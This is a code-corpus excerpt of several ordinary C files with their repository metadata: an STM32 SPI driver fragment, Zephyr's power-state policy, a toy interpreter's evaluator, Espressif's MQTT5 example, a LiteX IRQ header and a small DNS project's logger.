DMA_Init(DMA1_Channel5, &DMA_InitStructure);
SPI_I2S_DMACmd(SPI2, SPI_I2S_DMAReq_Rx, ENABLE);
SPI_I2S_DMACmd(SPI2, SPI_I2S_DMAReq_Tx, ENABLE);
}*/
void spiInit(void)
{
GPIO_InitTypeDef GPIO_InitStructure;
SPI_InitTypeDef SPI_InitStructure;
RCC_APB1PeriphClockCmd(SPI_RCC, ENABLE);
RCC_APB2PeriphClockCmd(SPI_GPIO_RCC | RCC_APB2Periph_AFIO, ENABLE);
GPIO_InitStructure.GPIO_Pin = SPI_GPIO_CE;
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_Out_PP;
GPIO_Init(SPI_GPIO_PORT, &GPIO_InitStructure);
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF_PP;
GPIO_InitStructure.GPIO_Pin = SPI_GPIO_SCK | SPI_GPIO_MOSI;
GPIO_Init(SPI_GPIO_PORT, &GPIO_InitStructure);
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IN_FLOATING;
GPIO_InitStructure.GPIO_Pin = SPI_GPIO_MISO;
GPIO_Init(SPI_GPIO_PORT, &GPIO_InitStructure);
SPI_InitStructure.SPI_Direction = SPI_Direction_2Lines_FullDuplex;
SPI_InitStructure.SPI_Mode = SPI_Mode_Master;
SPI_InitStructure.SPI_DataSize = SPI_DataSize_8b;
SPI_InitStructure.SPI_CPOL = SPI_CPOL_Low;
SPI_InitStructure.SPI_CPHA = SPI_CPHA_1Edge;
SPI_InitStructure.SPI_NSS = SPI_NSS_Soft;
SPI_InitStructure.SPI_BaudRatePrescaler = SPI_BaudRatePrescaler_16;
SPI_InitStructure.SPI_FirstBit = SPI_FirstBit_MSB;
SPI_InitStructure.SPI_CRCPolynomial = 7;
SPI_Init(SPI_TYPE, &SPI_InitStructure);
SPI_Cmd(SPI_TYPE, ENABLE); /* 使能SPI */
SPI_CE_1();
}
uint8_t spiWriteReadByte(uint8_t dat)
{
/* 当SPI发送缓冲器非空时等待 */
while (SPI_I2S_GetFlagStatus(SPI2, SPI_I2S_FLAG_TXE) == RESET);
/* 通过SPI发送一字节数据 */
SPI_I2S_SendData(SPI2, dat);
/* 当SPI接收缓冲器为空时等待 */
while (SPI_I2S_GetFlagStatus(SPI2, SPI_I2S_FLAG_RXNE) == RESET);
/* 通过SPI接收一字节数据 */
return SPI_I2S_ReceiveData(SPI2);
}
uint8_t spiReadBuf(uint8_t *_pBuf, uint8_t _ucLen)
{
uint8_t i;
SPI_CE_0();
for(i = 0; i < _ucLen; i++)
{
_pBuf[i] = spiWriteReadByte(NOP);
}
SPI_CE_1();
return 0;
}
| 2.109375 | 2 |
2024-11-18T22:21:41.825184+00:00 | 2021-11-26T10:38:20 | eea4b8c0d0e1f2bb4b86a24525cd1c2380d8909f | {
"blob_id": "eea4b8c0d0e1f2bb4b86a24525cd1c2380d8909f",
"branch_name": "refs/heads/v2.7-branch",
"committer_date": "2021-11-26T10:38:20",
"content_id": "d200fb3653c6ab9502da711267bc92589a05fa5a",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "d15735ca76f411754c59404cbd36f7510c20ee97",
"extension": "c",
"filename": "policy_residency.c",
"fork_events_count": 15,
"gha_created_at": "2019-11-07T11:20:50",
"gha_event_created_at": "2021-12-22T20:30:14",
"gha_language": "C",
"gha_license_id": "Apache-2.0",
"github_id": 220219747,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1283,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/subsys/pm/policy/policy_residency.c",
"provenance": "stackv2-0123.json.gz:714",
"repo_name": "platformio/zephyr",
"revision_date": "2021-11-26T10:38:20",
"revision_id": "934deef778e6f78584866409d4bf983c4ebb3e9c",
"snapshot_id": "edfa9321ba4ddc5a235e06a9f2bc8910273d58a4",
"src_encoding": "UTF-8",
"star_events_count": 7,
"url": "https://raw.githubusercontent.com/platformio/zephyr/934deef778e6f78584866409d4bf983c4ebb3e9c/subsys/pm/policy/policy_residency.c",
"visit_date": "2023-07-27T09:39:54.461387"
} | stackv2 | /*
* Copyright (c) 2018 Intel Corporation.
*
* SPDX-License-Identifier: Apache-2.0
*/
#include <zephyr.h>
#include <kernel.h>
#include <pm/pm.h>
#include <pm/policy.h>
#define LOG_LEVEL CONFIG_PM_LOG_LEVEL /* From power module Kconfig */
#include <logging/log.h>
LOG_MODULE_DECLARE(power);
static const struct pm_state_info pm_min_residency[] =
PM_STATE_INFO_DT_ITEMS_LIST(DT_NODELABEL(cpu0));
struct pm_state_info pm_policy_next_state(int32_t ticks)
{
int i;
for (i = ARRAY_SIZE(pm_min_residency) - 1; i >= 0; i--) {
uint32_t min_residency, exit_latency;
if (!pm_constraint_get(pm_min_residency[i].state)) {
continue;
}
min_residency = k_us_to_ticks_ceil32(
pm_min_residency[i].min_residency_us);
exit_latency = k_us_to_ticks_ceil32(
pm_min_residency[i].exit_latency_us);
__ASSERT(min_residency > exit_latency,
"min_residency_us < exit_latency_us");
if ((ticks == K_TICKS_FOREVER) ||
(ticks >= (min_residency + exit_latency))) {
LOG_DBG("Selected power state %d "
"(ticks: %d, min_residency: %u)",
pm_min_residency[i].state, ticks,
pm_min_residency[i].min_residency_us);
return pm_min_residency[i];
}
}
LOG_DBG("No suitable power state found!");
return (struct pm_state_info){PM_STATE_ACTIVE, 0, 0};
}
| 2.34375 | 2 |
2024-11-18T22:21:42.671770+00:00 | 2017-02-08T21:46:24 | f71ffb592d0222e1708f8bfdf2cfccd27ea17cc9 | {
"blob_id": "f71ffb592d0222e1708f8bfdf2cfccd27ea17cc9",
"branch_name": "refs/heads/master",
"committer_date": "2017-02-08T21:46:24",
"content_id": "53516b44d86e497f97c968b19e406987709fb147",
"detected_licenses": [
"MIT"
],
"directory_id": "6f7d584701966890880d14039a33581678912467",
"extension": "c",
"filename": "eval.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 81377258,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 5132,
"license": "MIT",
"license_type": "permissive",
"path": "/src/eval.c",
"provenance": "stackv2-0123.json.gz:971",
"repo_name": "TokyoYoshida/MugiCha-interpreter",
"revision_date": "2017-02-08T21:46:24",
"revision_id": "78db1ad9316d629c7fbae13b7c1df14db154b363",
"snapshot_id": "1efe7325d5fc223025f510d5f006da507e5db216",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/TokyoYoshida/MugiCha-interpreter/78db1ad9316d629c7fbae13b7c1df14db154b363/src/eval.c",
"visit_date": "2021-01-12T23:59:54.261815"
} | stackv2 | #include <string.h>
#include "support.h"
#include "mugicha.h"
#include "eval.h"
#include "var.h"
#include "func.h"
#include "env.h"
VALUE exec_print(ASTNODE *ap)
{
VALUE ret;
ret = eval_node(ap->left);
printf("print value = %s (%s) !!", value_description(ret), get_type_description(ret.type));
printf("\n");
return ret;
}
VALUE exec_cmp(ASTNODE *ap ,OPERATION comp_mode)
{
int r;
BOOL res;
VALUE ret, lhs ,rhs;
lhs = eval_node(ap->left);
rhs = eval_node(ap->right);
r = comp_val(lhs, rhs);
switch(comp_mode){
case CMP_EQ:
res = (r == 0);
break;
case CMP_NOTEQ:
res = !(r == 0);
break;
case CMP_GREATER:
res = (r == 1);
break;
case CMP_SMALLER:
res = (r == -1);
break;
case CMP_GREATEREQ:
res = (r == 1) || (r == 0);
break;
case CMP_SMALLEREQ:
res = (r == -1) || (r == 0);
break;
default:
ASSERT_FAIL("invalid operation.");
}
ret.type = BOOLTYPE;
ret.val.b = res;
return ret;
}
double calc_double(VALUE lhs, VALUE rhs,OPERATION calc_mode)
{
switch(calc_mode){
case ADD:
return cast_double(lhs) + cast_double(rhs);
case SUB:
return cast_double(lhs) - cast_double(rhs);
case MUL:
return cast_double(lhs) * cast_double(rhs);
case DIV:
return cast_double(lhs) / cast_double(rhs);
default:
ASSERT_FAIL_BLOCK();
}
}
int calc_int(VALUE lhs, VALUE rhs,OPERATION calc_mode)
{
switch(calc_mode){
case ADD:
return cast_int(lhs) + cast_int(rhs);
case SUB:
return cast_int(lhs) - cast_int(rhs);
case MUL:
return cast_int(lhs) * cast_int(rhs);
case DIV:
return cast_int(lhs) / cast_int(rhs);
default:
ASSERT_FAIL_BLOCK();
}
}
VALUE exec_calc(ASTNODE *ap,OPERATION calc_mode)
{
VALUE ret;
VALUE lhs ,rhs;
char *s;
char *rhs_str;
lhs = eval_node(ap->left);
rhs = eval_node(ap->right);
switch(lhs.type){
case INT:
ret.type = INT;
ret.val.i = calc_int(lhs, rhs, calc_mode);
return ret;
case DOUBLE:
ret.type = DOUBLE;
ret.val.d = calc_double(lhs, rhs, calc_mode);
return ret;
case STRING:
if(calc_mode == ADD){
ret.type = STRING;
if( rhs.type == STRING)
rhs_str = rhs.val.s;
else {
rhs_str = value_description(rhs);
}
s = malloc(strlen(lhs.val.s) + strlen(rhs_str) + 1);
if(!s) ASSERT_FAIL_MEMORY();
strcpy(s, lhs.val.s);
strcat(s, rhs_str);
ret.val.s = s;
return ret;
} else {
ASSERT_FAIL_BLOCK();
}
case BOOLTYPE:
case ANY:
ASSERT_FAIL_BLOCK();
}
}
VALUE exec_seq(ASTNODE *ap)
{
VALUE lhs ,rhs;
lhs = eval_node(ap->left);
rhs = eval_node(ap->right);
return rhs;
}
VALUE exec_def_func(ASTNODE *ap)
{
VALUE ret;
ret.type = BOOLTYPE;
ret.val.b = TRUE;
return ret;
}
VALUE exec_call_func(ASTNODE *ap)
{
VALUE ret, lhs ,rhs, def_args, set_args;
FUNC *f;
push_env();
f = lookup_func(ap->sym);
if( ap->set_args != NULL){
eval_node(f->def_args);
eval_node(ap->set_args);
}
ret = eval_node(f->body);
pop_env();
return ret;
}
VALUE exec_if(ASTNODE *ap)
{
VALUE cond_res, ret;
cond_res = eval_node(ap->condition);
if(cond_res.val.b == TRUE)
ret = eval_node(ap->left);
else if( ap->right ) {
ret = eval_node(ap->right);
}
return ret;
}
VALUE exec_while(ASTNODE *ap)
{
VALUE ret;
while(1){
ret = eval_node(ap->condition);
if(ret.val.b == TRUE)
ret = eval_node(ap->left);
else {
return ret;
}
}
}
VALUE exec_def_var(ASTNODE *ap)
{
VALUE ret;
make_var(ap->sym, ap->type);
ret.type = BOOLTYPE;
ret.val.b = TRUE;
return ret;
}
VALUE exec_set_var(ASTNODE *ap)
{
VALUE ret;
ret = eval_node(ap->left);
set_var_by_symbol(ret.type, ap->sym, ret);
return ret;
}
VALUE exec_get_var(ASTNODE *ap)
{
VALUE ret;
VAR *v;
v = lookup_var(ap->sym);
ret = v->data;
return ret;
}
VALUE eval_node_op(ASTNODE *ap)
{
switch(ap->op){
case ADD:
case SUB:
case MUL:
case DIV:
return exec_calc(ap ,ap->op);
case SEQ:
return exec_seq(ap);
case NONE:
ASSERT_FAIL("this block expect never call.");
case VALUEDATA:
ASSERT_FAIL("this block expect never call.");
case CMP_EQ:
case CMP_NOTEQ:
case CMP_GREATER:
case CMP_SMALLER:
case CMP_GREATEREQ:
case CMP_SMALLEREQ:
return exec_cmp(ap, ap->op);
case PRINTDATA:
return exec_print(ap);
case DEF_VAL:
return exec_def_var(ap);
case SET_VAL:
return exec_set_var(ap);
case GET_VAL:
return exec_get_var(ap);
case DEF_FUNC:
return exec_def_func(ap);
case CALL_FUNC:
return exec_call_func(ap);
case IF_STMT:
return exec_if(ap);
case WHILE_STMT:
return exec_while(ap);
}
ASSERT_FAIL("this block expect never call.");
}
VALUE eval_node_value(ASTNODE *ap)
{
return ap->val;
}
VALUE eval_node(ASTNODE *ap)
{
int ret;
if(ap->op == VALUEDATA ) return eval_node_value(ap);
return eval_node_op(ap);
}
| 2.40625 | 2 |
2024-11-18T22:21:42.789166+00:00 | 2023-08-09T18:19:32 | d4a8b3bfe061848a5034998b05a9cbbeb0372662 | {
"blob_id": "d4a8b3bfe061848a5034998b05a9cbbeb0372662",
"branch_name": "refs/heads/master",
"committer_date": "2023-08-09T18:19:32",
"content_id": "461ca4c2d7304ce63bbc5981c88630b942368a9f",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "a4a96286d9860e2661cd7c7f571d42bfa04c86cf",
"extension": "c",
"filename": "app_main.c",
"fork_events_count": 1,
"gha_created_at": "2020-01-23T18:05:37",
"gha_event_created_at": "2020-01-23T18:05:38",
"gha_language": null,
"gha_license_id": "Apache-2.0",
"github_id": 235855012,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 12331,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/examples/protocols/mqtt5/main/app_main.c",
"provenance": "stackv2-0123.json.gz:1099",
"repo_name": "KollarRichard/esp-idf",
"revision_date": "2023-08-09T18:19:32",
"revision_id": "3befd5fff72aa6980514454a50233037718b611f",
"snapshot_id": "1a3c314b37c763bdd231d974c9e16b9c7588e42c",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/KollarRichard/esp-idf/3befd5fff72aa6980514454a50233037718b611f/examples/protocols/mqtt5/main/app_main.c",
"visit_date": "2023-08-16T20:32:50.823995"
} | stackv2 | /*
* SPDX-FileCopyrightText: 2022-2023 Espressif Systems (Shanghai) CO LTD
*
* SPDX-License-Identifier: Apache-2.0
*/
#include <stdio.h>
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include "esp_system.h"
#include "nvs_flash.h"
#include "esp_event.h"
#include "esp_netif.h"
#include "protocol_examples_common.h"
#include "esp_log.h"
#include "mqtt_client.h"
static const char *TAG = "MQTT5_EXAMPLE";
static void log_error_if_nonzero(const char *message, int error_code)
{
if (error_code != 0) {
ESP_LOGE(TAG, "Last error %s: 0x%x", message, error_code);
}
}
static esp_mqtt5_user_property_item_t user_property_arr[] = {
{"board", "esp32"},
{"u", "user"},
{"p", "password"}
};
#define USE_PROPERTY_ARR_SIZE sizeof(user_property_arr)/sizeof(esp_mqtt5_user_property_item_t)
static esp_mqtt5_publish_property_config_t publish_property = {
.payload_format_indicator = 1,
.message_expiry_interval = 1000,
.topic_alias = 0,
.response_topic = "/topic/test/response",
.correlation_data = "123456",
.correlation_data_len = 6,
};
static esp_mqtt5_subscribe_property_config_t subscribe_property = {
.subscribe_id = 25555,
.no_local_flag = false,
.retain_as_published_flag = false,
.retain_handle = 0,
.is_share_subscribe = true,
.share_name = "group1",
};
static esp_mqtt5_subscribe_property_config_t subscribe1_property = {
.subscribe_id = 25555,
.no_local_flag = true,
.retain_as_published_flag = false,
.retain_handle = 0,
};
static esp_mqtt5_unsubscribe_property_config_t unsubscribe_property = {
.is_share_subscribe = true,
.share_name = "group1",
};
static esp_mqtt5_disconnect_property_config_t disconnect_property = {
.session_expiry_interval = 60,
.disconnect_reason = 0,
};
static void print_user_property(mqtt5_user_property_handle_t user_property)
{
if (user_property) {
uint8_t count = esp_mqtt5_client_get_user_property_count(user_property);
if (count) {
esp_mqtt5_user_property_item_t *item = malloc(count * sizeof(esp_mqtt5_user_property_item_t));
if (esp_mqtt5_client_get_user_property(user_property, item, &count) == ESP_OK) {
for (int i = 0; i < count; i ++) {
esp_mqtt5_user_property_item_t *t = &item[i];
ESP_LOGI(TAG, "key is %s, value is %s", t->key, t->value);
free((char *)t->key);
free((char *)t->value);
}
}
free(item);
}
}
}
/*
* @brief Event handler registered to receive MQTT events
*
* This function is called by the MQTT client event loop.
*
* @param handler_args user data registered to the event.
* @param base Event base for the handler(always MQTT Base in this example).
* @param event_id The id for the received event.
* @param event_data The data for the event, esp_mqtt_event_handle_t.
*/
static void mqtt5_event_handler(void *handler_args, esp_event_base_t base, int32_t event_id, void *event_data)
{
ESP_LOGD(TAG, "Event dispatched from event loop base=%s, event_id=%" PRIi32, base, event_id);
esp_mqtt_event_handle_t event = event_data;
esp_mqtt_client_handle_t client = event->client;
int msg_id;
ESP_LOGD(TAG, "free heap size is %" PRIu32 ", minimum %" PRIu32, esp_get_free_heap_size(), esp_get_minimum_free_heap_size());
switch ((esp_mqtt_event_id_t)event_id) {
case MQTT_EVENT_CONNECTED:
ESP_LOGI(TAG, "MQTT_EVENT_CONNECTED");
print_user_property(event->property->user_property);
esp_mqtt5_client_set_user_property(&publish_property.user_property, user_property_arr, USE_PROPERTY_ARR_SIZE);
esp_mqtt5_client_set_publish_property(client, &publish_property);
msg_id = esp_mqtt_client_publish(client, "/topic/qos1", "data_3", 0, 1, 1);
esp_mqtt5_client_delete_user_property(publish_property.user_property);
publish_property.user_property = NULL;
ESP_LOGI(TAG, "sent publish successful, msg_id=%d", msg_id);
esp_mqtt5_client_set_user_property(&subscribe_property.user_property, user_property_arr, USE_PROPERTY_ARR_SIZE);
esp_mqtt5_client_set_subscribe_property(client, &subscribe_property);
msg_id = esp_mqtt_client_subscribe(client, "/topic/qos0", 0);
esp_mqtt5_client_delete_user_property(subscribe_property.user_property);
subscribe_property.user_property = NULL;
ESP_LOGI(TAG, "sent subscribe successful, msg_id=%d", msg_id);
esp_mqtt5_client_set_user_property(&subscribe1_property.user_property, user_property_arr, USE_PROPERTY_ARR_SIZE);
esp_mqtt5_client_set_subscribe_property(client, &subscribe1_property);
msg_id = esp_mqtt_client_subscribe(client, "/topic/qos1", 2);
esp_mqtt5_client_delete_user_property(subscribe1_property.user_property);
subscribe1_property.user_property = NULL;
ESP_LOGI(TAG, "sent subscribe successful, msg_id=%d", msg_id);
esp_mqtt5_client_set_user_property(&unsubscribe_property.user_property, user_property_arr, USE_PROPERTY_ARR_SIZE);
esp_mqtt5_client_set_unsubscribe_property(client, &unsubscribe_property);
msg_id = esp_mqtt_client_unsubscribe(client, "/topic/qos0");
ESP_LOGI(TAG, "sent unsubscribe successful, msg_id=%d", msg_id);
esp_mqtt5_client_delete_user_property(unsubscribe_property.user_property);
unsubscribe_property.user_property = NULL;
break;
case MQTT_EVENT_DISCONNECTED:
ESP_LOGI(TAG, "MQTT_EVENT_DISCONNECTED");
print_user_property(event->property->user_property);
break;
case MQTT_EVENT_SUBSCRIBED:
ESP_LOGI(TAG, "MQTT_EVENT_SUBSCRIBED, msg_id=%d", event->msg_id);
print_user_property(event->property->user_property);
esp_mqtt5_client_set_publish_property(client, &publish_property);
msg_id = esp_mqtt_client_publish(client, "/topic/qos0", "data", 0, 0, 0);
ESP_LOGI(TAG, "sent publish successful, msg_id=%d", msg_id);
break;
case MQTT_EVENT_UNSUBSCRIBED:
ESP_LOGI(TAG, "MQTT_EVENT_UNSUBSCRIBED, msg_id=%d", event->msg_id);
print_user_property(event->property->user_property);
esp_mqtt5_client_set_user_property(&disconnect_property.user_property, user_property_arr, USE_PROPERTY_ARR_SIZE);
esp_mqtt5_client_set_disconnect_property(client, &disconnect_property);
esp_mqtt5_client_delete_user_property(disconnect_property.user_property);
disconnect_property.user_property = NULL;
esp_mqtt_client_disconnect(client);
break;
case MQTT_EVENT_PUBLISHED:
ESP_LOGI(TAG, "MQTT_EVENT_PUBLISHED, msg_id=%d", event->msg_id);
print_user_property(event->property->user_property);
break;
case MQTT_EVENT_DATA:
ESP_LOGI(TAG, "MQTT_EVENT_DATA");
print_user_property(event->property->user_property);
ESP_LOGI(TAG, "payload_format_indicator is %d", event->property->payload_format_indicator);
ESP_LOGI(TAG, "response_topic is %.*s", event->property->response_topic_len, event->property->response_topic);
ESP_LOGI(TAG, "correlation_data is %.*s", event->property->correlation_data_len, event->property->correlation_data);
ESP_LOGI(TAG, "content_type is %.*s", event->property->content_type_len, event->property->content_type);
ESP_LOGI(TAG, "TOPIC=%.*s", event->topic_len, event->topic);
ESP_LOGI(TAG, "DATA=%.*s", event->data_len, event->data);
break;
case MQTT_EVENT_ERROR:
ESP_LOGI(TAG, "MQTT_EVENT_ERROR");
print_user_property(event->property->user_property);
ESP_LOGI(TAG, "MQTT5 return code is %d", event->error_handle->connect_return_code);
if (event->error_handle->error_type == MQTT_ERROR_TYPE_TCP_TRANSPORT) {
log_error_if_nonzero("reported from esp-tls", event->error_handle->esp_tls_last_esp_err);
log_error_if_nonzero("reported from tls stack", event->error_handle->esp_tls_stack_err);
log_error_if_nonzero("captured as transport's socket errno", event->error_handle->esp_transport_sock_errno);
ESP_LOGI(TAG, "Last errno string (%s)", strerror(event->error_handle->esp_transport_sock_errno));
}
break;
default:
ESP_LOGI(TAG, "Other event id:%d", event->event_id);
break;
}
}
static void mqtt5_app_start(void)
{
esp_mqtt5_connection_property_config_t connect_property = {
.session_expiry_interval = 10,
.maximum_packet_size = 1024,
.receive_maximum = 65535,
.topic_alias_maximum = 2,
.request_resp_info = true,
.request_problem_info = true,
.will_delay_interval = 10,
.payload_format_indicator = true,
.message_expiry_interval = 10,
.response_topic = "/test/response",
.correlation_data = "123456",
.correlation_data_len = 6,
};
esp_mqtt_client_config_t mqtt5_cfg = {
.broker.address.uri = CONFIG_BROKER_URL,
.session.protocol_ver = MQTT_PROTOCOL_V_5,
.network.disable_auto_reconnect = true,
.credentials.username = "123",
.credentials.authentication.password = "456",
.session.last_will.topic = "/topic/will",
.session.last_will.msg = "i will leave",
.session.last_will.msg_len = 12,
.session.last_will.qos = 1,
.session.last_will.retain = true,
};
#if CONFIG_BROKER_URL_FROM_STDIN
char line[128];
if (strcmp(mqtt5_cfg.uri, "FROM_STDIN") == 0) {
int count = 0;
printf("Please enter url of mqtt broker\n");
while (count < 128) {
int c = fgetc(stdin);
if (c == '\n') {
line[count] = '\0';
break;
} else if (c > 0 && c < 127) {
line[count] = c;
++count;
}
vTaskDelay(10 / portTICK_PERIOD_MS);
}
mqtt5_cfg.broker.address.uri = line;
printf("Broker url: %s\n", line);
} else {
ESP_LOGE(TAG, "Configuration mismatch: wrong broker url");
abort();
}
#endif /* CONFIG_BROKER_URL_FROM_STDIN */
esp_mqtt_client_handle_t client = esp_mqtt_client_init(&mqtt5_cfg);
/* Set connection properties and user properties */
esp_mqtt5_client_set_user_property(&connect_property.user_property, user_property_arr, USE_PROPERTY_ARR_SIZE);
esp_mqtt5_client_set_user_property(&connect_property.will_user_property, user_property_arr, USE_PROPERTY_ARR_SIZE);
esp_mqtt5_client_set_connect_property(client, &connect_property);
/* If you call esp_mqtt5_client_set_user_property to set user properties, DO NOT forget to delete them.
* esp_mqtt5_client_set_connect_property will malloc buffer to store the user_property and you can delete it after
*/
esp_mqtt5_client_delete_user_property(connect_property.user_property);
esp_mqtt5_client_delete_user_property(connect_property.will_user_property);
/* The last argument may be used to pass data to the event handler, in this example mqtt_event_handler */
esp_mqtt_client_register_event(client, ESP_EVENT_ANY_ID, mqtt5_event_handler, NULL);
esp_mqtt_client_start(client);
}
void app_main(void)
{
ESP_LOGI(TAG, "[APP] Startup..");
ESP_LOGI(TAG, "[APP] Free memory: %" PRIu32 " bytes", esp_get_free_heap_size());
ESP_LOGI(TAG, "[APP] IDF version: %s", esp_get_idf_version());
esp_log_level_set("*", ESP_LOG_INFO);
esp_log_level_set("MQTT_CLIENT", ESP_LOG_VERBOSE);
esp_log_level_set("MQTT_EXAMPLE", ESP_LOG_VERBOSE);
esp_log_level_set("TRANSPORT_BASE", ESP_LOG_VERBOSE);
esp_log_level_set("esp-tls", ESP_LOG_VERBOSE);
esp_log_level_set("TRANSPORT", ESP_LOG_VERBOSE);
esp_log_level_set("OUTBOX", ESP_LOG_VERBOSE);
ESP_ERROR_CHECK(nvs_flash_init());
ESP_ERROR_CHECK(esp_netif_init());
ESP_ERROR_CHECK(esp_event_loop_create_default());
/* This helper function configures Wi-Fi or Ethernet, as selected in menuconfig.
* Read "Establishing Wi-Fi or Ethernet Connection" section in
* examples/protocols/README.md for more information about this function.
*/
ESP_ERROR_CHECK(example_connect());
mqtt5_app_start();
}
| 2.125 | 2 |
2024-11-18T22:21:43.656921+00:00 | 2023-08-31T17:34:55 | 046bcc6828b18264032a19514803a50fb3fb93ef | {
"blob_id": "046bcc6828b18264032a19514803a50fb3fb93ef",
"branch_name": "refs/heads/master",
"committer_date": "2023-08-31T17:36:21",
"content_id": "96d9c846499fc897fc98227be2a488ecfb030cdc",
"detected_licenses": [
"BSD-2-Clause",
"BSD-3-Clause"
],
"directory_id": "77fee94c58cd5b6305eef2f13d74b488db428c59",
"extension": "h",
"filename": "irq.h",
"fork_events_count": 524,
"gha_created_at": "2015-11-07T12:02:12",
"gha_event_created_at": "2023-09-14T21:26:26",
"gha_language": "C",
"gha_license_id": "NOASSERTION",
"github_id": 45734719,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1339,
"license": "BSD-2-Clause,BSD-3-Clause",
"license_type": "permissive",
"path": "/litex/soc/cores/cpu/cva6/irq.h",
"provenance": "stackv2-0123.json.gz:1358",
"repo_name": "enjoy-digital/litex",
"revision_date": "2023-08-31T17:34:55",
"revision_id": "405296b7fd99764af21fffd94afa5075c22affa8",
"snapshot_id": "de5919d649c1b884c47a5e0364c2a9a584ebd614",
"src_encoding": "UTF-8",
"star_events_count": 2351,
"url": "https://raw.githubusercontent.com/enjoy-digital/litex/405296b7fd99764af21fffd94afa5075c22affa8/litex/soc/cores/cpu/cva6/irq.h",
"visit_date": "2023-08-31T23:52:33.895792"
} | stackv2 | #ifndef __IRQ_H
#define __IRQ_H
#ifdef __cplusplus
extern "C" {
#endif
#include <system.h>
#include <generated/csr.h>
#include <generated/soc.h>
#define PLIC_SOURCE_0 0x0c000004L // source 0 priority
#define PLIC_SOURCE_1 0x0c000008L // source 1 priority
#define PLIC_PENDING 0x0c001000L // start of pending array
#define PLIC_M_ENABLE 0x0c002000L // Start of Hart 0 M-mode enables
#define PLIC_S_ENABLE 0x0c002100L // Start of Hart 0 S-mode enables
#define PLIC_M_THRESHOLD 0x0c200000L // hart 0 M-mode priority threshold
#define PLIC_M_CLAIM 0x0c200004L // hart 0 M-mode priority claim/complete
#define PLIC_S_THRESHOLD 0x0c200100L // hart 0 S-mode priority threshold
#define PLIC_S_CLAIM 0x0c200104L // hart 0 S-mode priority claim/complete
static inline unsigned int irq_getie(void)
{
return (csrr(mstatus) & CSR_MSTATUS_MIE) != 0;
}
static inline void irq_setie(unsigned int ie)
{
if(ie) csrs(mstatus,CSR_MSTATUS_MIE); else csrc(mstatus,CSR_MSTATUS_MIE);
}
static inline unsigned int irq_getmask(void)
{
return *((unsigned int *)PLIC_M_ENABLE) >> 1;
}
static inline void irq_setmask(unsigned int mask)
{
*((unsigned int *)PLIC_M_ENABLE) = mask << 1;
}
static inline unsigned int irq_pending(void)
{
return *((unsigned int *)PLIC_PENDING) >> 1;
}
#ifdef __cplusplus
}
#endif
#endif /* __IRQ_H */
| 2.265625 | 2 |
2024-11-18T22:21:43.721694+00:00 | 2017-09-06T06:36:06 | 18917e9799cbcb52da285a5d41f1a07d87ac3b83 | {
"blob_id": "18917e9799cbcb52da285a5d41f1a07d87ac3b83",
"branch_name": "refs/heads/master",
"committer_date": "2017-09-06T06:36:06",
"content_id": "cdd4a1632a90b0ee07aa2a6fd878503175a4ab7d",
"detected_licenses": [
"MIT"
],
"directory_id": "3107caea0cdaa1112a4078032604c83e23a50348",
"extension": "c",
"filename": "log.c",
"fork_events_count": 1,
"gha_created_at": "2017-08-30T05:53:18",
"gha_event_created_at": "2017-09-05T03:41:53",
"gha_language": "C",
"gha_license_id": null,
"github_id": 101842995,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1309,
"license": "MIT",
"license_type": "permissive",
"path": "/log.c",
"provenance": "stackv2-0123.json.gz:1491",
"repo_name": "mengyun8/SimpleDns",
"revision_date": "2017-09-06T06:36:06",
"revision_id": "9cc155fcd77aba5bddcba6fa9e27224f94367775",
"snapshot_id": "2b78e2187f86f2c31255d5bbe2e8f2db5a8fc1c4",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/mengyun8/SimpleDns/9cc155fcd77aba5bddcba6fa9e27224f94367775/log.c",
"visit_date": "2021-01-20T23:09:46.842366"
} | stackv2 | #include<stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include "log.h"
#define MAXLINE 1024
#define LOGLINE (16 * MAXLINE)
char level[4][2] = {"I","D","W","E"};
FILE *log_fp = NULL;
/* Init Log */
int log_init(const char *file)
{
log_fp = fopen(file, "a+");
if (!log_fp)
return -1;
return 0;
}
/* Log info of dns manage */
int log_info(const char *fmt, ...)
{
time_t timep;
struct tm *p;
char msg[LOGLINE] = {0};
va_list arg;
va_start(arg, fmt);
vsnprintf(msg, LOGLINE, fmt, arg);
va_end(arg);
time (&timep);
p = localtime (&timep);
if (!log_fp)
return -1;
fprintf(log_fp, "%d/%d/%d %d:%d:%d [I] %s\n", (p->tm_year + 1900), (p->tm_mon + 1), p->tm_mday, p->tm_hour, p->tm_min, p->tm_sec, msg);
fflush(log_fp);
return 0;
}
/* Log error of dns manage */
int log_error(const char *fmt, ...)
{
time_t timep;
struct tm *p;
char msg[LOGLINE] = {0};
va_list arg;
va_start(arg, fmt);
vsnprintf(msg, LOGLINE, fmt, arg);
va_end(arg);
time (&timep);
p = localtime (&timep);
if (!log_fp)
return -1;
fprintf(log_fp, "%d/%d/%d %d:%d:%d [E] %s\n", (p->tm_year + 1900), (p->tm_mon + 1), p->tm_mday, p->tm_hour, p->tm_min, p->tm_sec, msg);
fflush(log_fp);
return 0;
}
| 2.609375 | 3 |
2024-11-18T22:21:44.601092+00:00 | 2019-05-10T23:43:10 | 97bd1add58a8ebc4bf471348aae6c58f8d917e3f | {
"blob_id": "97bd1add58a8ebc4bf471348aae6c58f8d917e3f",
"branch_name": "refs/heads/master",
"committer_date": "2019-05-10T23:43:10",
